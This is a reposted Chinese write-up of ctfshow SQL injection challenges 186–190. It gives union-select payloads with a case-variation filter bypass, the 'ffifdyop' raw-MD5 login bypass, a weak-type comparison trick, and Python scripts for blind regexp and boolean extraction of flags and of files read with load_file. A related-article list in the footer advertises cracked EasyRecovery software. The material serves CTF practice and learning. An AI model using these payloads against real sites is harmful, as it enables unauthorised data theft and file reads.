ctfshow sql 186-190

news2024/11/27 4:37:40

 186大小写绕过

1' order by 3--+

 

发现union select被过滤,用大小写来绕过

1' union seleCT 1,2,database() --+

1' union seleCT 1,2,table_name from information_schema.tables where table_schema='ctfshow_web' --+

1' union seleCT 1,2,column_name from information_schema.columns where table_name='ctfshow_user' --+

1' union seleCT 1,2,password from ctfshow_web.ctfshow_user --+

 

187md5

    $username = $_POST['username'];
    $password = md5($_POST['password'],true);

    //只有admin可以获得flag
    if($username!='admin'){
        $ret['msg']='用户名不存在';
        die(json_encode($ret));
    }
      

 md5()

因此这里我们需要找到一个转换为原始16位二进制字符串后满足我们的注入。 

ffifdyop是一个特殊的字符串,类似万能密码。还有129581926211651571912466741651878684928也可以达到同样的效果。

 

188弱比较

 

查询语句  

$sql = "select pass from ctfshow_user where username = {$username}";

sql里,数字和字符串的匹配是弱类型比较,字符串会转换为数字,如0==admin,那么如果输入的username是0,则会匹配所有开头不是数字或者为0的字符串和数字0。

在phpmyadmin里面试一下

我们可以发现当where条件为0时返回了所有的数据

所以当username和password都为0时可以成功弱类型比较,得到flag。

189盲注读取文件

flag在api/index.php文件中

根据提示

刚学习了load_file读取文件   第一反应就想到了

regexp正则

在本地先调试一下啊

?param=-1' union select 1,2,3,4,if((load_file('D:\\phpstudy_pro\\WWW\\aa.txt'))regexp('aa'),0,1) --+

?param=-1' union select 1,2,3,4,if((load_file('D:\\phpstudy_pro\\WWW\\aa.txt'))regexp('ab'),0,1) --+

根据上面来看,我们可以发现匹配到的时候返回1

匹配失败返回0

password根据188我们直接写0来匹配

import requests

url = "http://655b6baa-dd5c-4780-97db-2815b916c1ad.challenge.ctf.show/api/"
payload = """if((load_file("/var/www/html/api/index.php"))regexp("{0}"),0,1)"""


flag = "ctfshow{"
for i in range(1, 100):
    for j in '0123456789abcdefghijklmnopqrstuvwxyz-{}':
        payload1 = payload.format(flag + j)
        data = {
            'username': payload1,
            'password': 0
        }
        re = requests.post(url=url, data=data)
        # print(re.text)
        # print(payload1)
        if r"""{"code":0,"msg":"\u5bc6\u7801\u9519\u8bef","count":0,"data":[]}""" in re.text:
            flag += j
            print(flag)
            if j == "}":
                exit()
            break

190 post布尔盲注

 

import requests

url = "http://d33a9dcf-4743-46eb-b871-83de283bdf68.challenge.ctf.show/api/"
# payload = """admin' and if(ascii(substr((select database()),{0},1))>{1},1,0)-- +"""
# payload = """admin' and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web'),{0},1))>{1},1,0)-- +"""
# payload = """admin' and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_fl0g'),{0},1))>{1},1,0)-- +"""
payload = """admin' and if(ascii(substr((select group_concat(f1ag) from ctfshow_fl0g),{0},1))>{1},1,0)-- +"""
flag = ''
for i in range(1, 100):
    for j in range(32, 128):
        payload1 = payload.format(i,j)
        data = {
            'username': payload1,
            'password': 0
        }
        response = requests.post(url=url, data=data)
        # print(payload1)
        # print(response.text)
        if r'''{"code":0,"msg":"\u5bc6\u7801\u9519\u8bef","count":0,"data":[]}''' not in response.text:
            flag += chr(j)
            print(flag)
            break

 

payload = """admin' and if(ascii(substr((select database()),{0},1))>{1},1,0)-- +"""

 

payload = """admin' and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web'),{0},1))>{1},1,0)-- +"""

payload = """admin' and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_fl0g'),{0},1))>{1},1,0)-- +"""

         

payload = """admin' and if(ascii(substr((select group_concat(f1ag) from ctfshow_fl0g),{0},1))>{1},1,0)-- +"""

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1287062.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

EasyRecovery14破解版 v14.0.0.4 官方免费版(含激活码)

软件介绍 EasyRecovery14高级版是一款功能强大的数据恢复软件,软件对比家庭版本它的使用更加广泛,在恢复数据方面软件可以做到最完整的损失恢复,无论是文档、音乐、软件都可以一键恢复,同时软件还可以对文件的名字、后缀进行修改…

Fluent常见问题:获取在某个范围内物理量的分布

问题: 需要获得在某个范围内物理量的分布情况,例如有多少体积的流体在某个速度区间内,以及分布位置,需要如何操作? 解决方案: 曲面上的分布 1 创建等值切面(iso-clip) 在等值切面…

Photoshop最新版PS2024安装使用 Ver25.0.0

Photoshop,这个是长红了几十年的软件,我大概从它的3.0版本开始用,目前已迭代到25.0,但一直还在用CS4/11.0版本,一直秉持着够用即可的原则,因为不是专业的平面设计人员,能够简单PP图片就行。&…

12.5 作业

1, 以下是一个简单的比喻,将多态概念与生活中的实际情况相联系: 比喻:动物园的讲解员和动物表演 想象一下你去了一家动物园,看到了许多不同种类的动物,如狮子、大象、猴子等。现在,动物园里有…

文件管理和操作工具Path Finder mac功能介绍

Path Finder mac是一款Mac平台上的文件管理和操作工具,提供了比Finder更丰富的功能和更直观的用户界面。它可以帮助用户更高效地浏览、复制、移动、删除和管理文件,以及进行各种高级操作。 Path Finder mac软件功能 - 文件浏览:可以快速浏览文…

Vue--第六天

vuex概述: 组件通信感觉有点白雪。。。。。。。。。。 创建项目: 为了学习简介,先选几个,后续是要勾选很多的 建好后再进行组件导入 创建空仓库: 使用: 上面是store访问,下面是辅助函数的方式…

凯捷对汽车数字化的思考

标题凯捷(中国)对汽车行业数字化转型的探索 凯捷中国数字化研发团队有超过1200名专业顾问致力于数字化相关项目,分布在北京、天津、沈阳、呼和浩特、上海、昆山、杭州、广州、深圳等地,运用Rightshore交付模式和通过专业顾问为客…

2023-12-05 Qt学习总结 (AI辅助) 未完待续

点击 <C 语言编程核心突破> 快速C语言入门 Qt学习总结 前言一 Qt是什么二 Qt开发工具链三 Qt编程涉及的术语和名词四 Qt Creator使用五 hello Qt!六 Qt控件和事件七 Qt信号和槽八 Qt自定义信号和槽九 Qt QObject基类十 QWidget基类十一 QMainWindow基类十二 QLabel文本框…

Pandas,一个Python办公神器?

微信公众号&#xff1a;愤怒的it男&#xff0c;超多Python技术干货文章。 Pandas库基于NumPy库开发&#xff0c;是一个免费、开源的第三方Python库&#xff0c;与Numpy、Matplotlib并称Python数据分析三剑客。Pandas提供了两种数据结构&#xff0c;分别是Series&#xff08;一维…

SeaTunnel引擎下的SQL Server CDC解决方案:构建高效数据管道

在快速发展的数据驱动时代&#xff0c;实时数据处理已经成为企业决策和运营的关键因素。特别是在处理来自各种数据源的信息时&#xff0c;如何确保数据的及时、准确和高效同步变得尤为重要。本文着重介绍了如何利用 SqlServer CDC 源连接器在 SeaTunnel 框架下实现 SQL Server …

arcgis投影栅格不可用

1、使用【投影栅格】工具进行栅格数据投影转换时报错。 解决方法&#xff1a;如果使用的是arcgis10.5及以下的版本&#xff0c;则需要更换更高的版本&#xff0c;因为这个是软件问题&#xff0c;需要更换到arcgis10.6及以上版本&#xff0c;更高级别的版本已经修复了这个问题。…

Selenium自动化测试 —— 模拟鼠标键盘的操作事件

鼠标操作事件 在实际的web产品测试中&#xff0c;对于鼠标的操作&#xff0c;不单单只有click()&#xff0c;有时候还要用到右击、双击、拖动等操作&#xff0c;这些操作包含在ActionChains类中。 ActionChains类中鼠标操作常用方法&#xff1a; 首先导入ActionChains类&#…

基于Springboot的社区医院管理服务系统(有报告)。Javaee项目,springboot项目。

演示视频&#xff1a; 基于Springboot的社区医院管理服务系统&#xff08;有报告&#xff09;。Javaee项目&#xff0c;springboot项目。 项目介绍&#xff1a; 采用M&#xff08;model&#xff09;V&#xff08;view&#xff09;C&#xff08;controller&#xff09;三层体系…

关于神舟-战神TA5NS系统重装问题

加装固态卡在log处无法开机问题 下面是我的步骤 1.按f7选择pe安装系统&#xff0c;然后发现卡在战神log处不转动 2.下载驱动 TA5NS驱动地址 下载RAID驱动&#xff08;如果没有私信我&#xff0c;我网盘里有&#xff09;&#xff0c;拷到u盘中&#xff0c;然后进入pe系统里面…

Python----Pandas

目录 Series属性 DataFrame的属性 Pandas的CSV文件 Pandas数据处理 Pandas的主要数据结构是Series&#xff08;一维数据&#xff09;与DataFrame&#xff08;二维数据&#xff09; Series属性 Series的属性如下&#xff1a; 属性描述pandas.Series(data,index,dtype,nam…

轨道交通故障预测与健康管理PHM系统的应用

轨道交通是现代城市中不可或缺的交通方式&#xff0c;它为人们提供了快速、高效和可靠的出行方式。然而&#xff0c;由于轨道交通系统的复杂性和高负荷运行&#xff0c;设备故障和运营中断问题时有发生。为了提高轨道交通系统的可靠性和安全性&#xff0c;故障预测与健康管理&a…

Java的TPC通信

TPC通信-快速入门 TPC通信-客户端开发 TPC通信-服务端开发 TPC通信-多发多收 客户端 服务端 TPC通信-支持与多个客户端同时通信 服务端 独立线程对象

看懂lscpu的输出

文章目录 1. lscpu1.1 Architecture1.2 逻辑核心数1.3 缓存1.4 CPU型号1.5 NUMA架构1.5.1 CPU多核架构1.5.2 多CPU Socket架构 2. cat /proc/cpuinfo2.1 关键字段 1. lscpu 通过lscpu查看当前系统的CPU信息。 [hadoopserver3 ~]$ lscpuArchitecture: x86_64 …

使用晶振遇到的两个问题

并联电阻的问题 在一些方案中&#xff0c;晶振并联1MΩ电阻时&#xff0c;程序运行正常&#xff0c;而在没有1MΩ电阻的情况下&#xff0c;程序运行有滞后及无法运行现象发生。 原因分析&#xff1a; 在无源晶振应用方案中&#xff0c;两个外接电容能够微调晶振产生的时钟频率…

Spring容器启动过程中的自定义操作插口汇总

目录标题 PostConstruct注解EventListener方式InitializingBean的afterPropertiesSet方法实现ApplicationRunner接口重写run方法实现AplicationContextAware接口重写setApplicationContext实现ServletContextListener接口contextInitialized方法实现ServletContextAware接口set…